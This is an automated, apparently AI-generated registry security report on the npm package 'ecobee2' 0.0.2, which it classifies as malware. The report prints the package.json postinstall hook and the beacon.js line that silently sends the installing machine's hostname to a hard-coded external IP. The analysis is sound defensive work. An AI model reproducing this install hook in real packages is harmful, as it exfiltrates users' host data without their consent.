registry / ecobee2 / 0.0.2

ecobee2@0.0.2

Utility package

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Install-time beacon exfiltrates the installing machine's hostname to a hard-coded external endpoint.

Static reason

One or more suspicious static signals were detected.

Trigger

npm package installation, via postinstall.

Impact

Unconsented host-identifying data disclosure during installation.

Mechanism

postinstall HTTP hostname beacon

Attack narrative

On installation, npm executes beacon.js through postinstall. The script obtains os.hostname() and places it in an HTTP GET query to a hard-coded IP address. Errors are suppressed, making the beacon silent to the installer.

Rationale

This is a concrete unconsented install-time network beacon that exports host identity to an unrelated hard-coded endpoint. It has no stated package functionality beyond the placeholder README.

Evidence

package.jsonbeacon.js

Network endpoints1

169.58.96.170:9001/cb

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs beacon.js automatically in postinstall.
beacon.js collects the host name and sends it to a hard-coded remote IP during installation.

Evidence against

No additional package files or functionality were present.

Behavioral surface

Source

Network

Supply chain

TrivialUrlStrings

Manifest

NoLicense

scanned 1 file(s), 209 B of source, external domains: 169.58.96.170

Source & flagged code

3 flagged

package.jsonView file

Lines 1-13json

2 "name": "ecobee2",

3 "version": "0.0.2",

4 "description": "Utility package",

5 "license": "UNLICENSED",

6 "scripts": {

7 "postinstall": "node beacon.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 },

High

Suspicious Lifecycle Evidence

package.json runs beacon.js automatically in postinstall.

package.jsonView on unpkg · L6

9 "files": [

10 "beacon.js",

11 "README.md"

12 ]

13}

beacon.jsView file

Lines 1-5javascript

1try {

2 var os = require("os"), http = require("http");

3 http.get("http://169.58.96.170:9001/cb?h=" + encodeURIComponent(os.hostname

Source & flagged code

3 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node beacon.js" }

High

Suspicious Lifecycle Evidence

package.json runs beacon.js automatically in postinstall.

package.jsonView on unpkg · L6

beacon.jsView file

2var os = require("os"), http = require("http"); http.get("http://169.58.96.170:9001/cb?h=" + encodeURIComponent(os.hostname()) + "&p=ecobee2", function(){}).on("error", function(){});

High

Ai Review Evidence

beacon.js collects the host name and sends it to a hard-coded remote IP during installation.

beacon.jsView on unpkg · L2

Findings

3 High1 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencebeacon.js

MediumNetwork

LowScripts Present

LowUrl Strings

LowNo License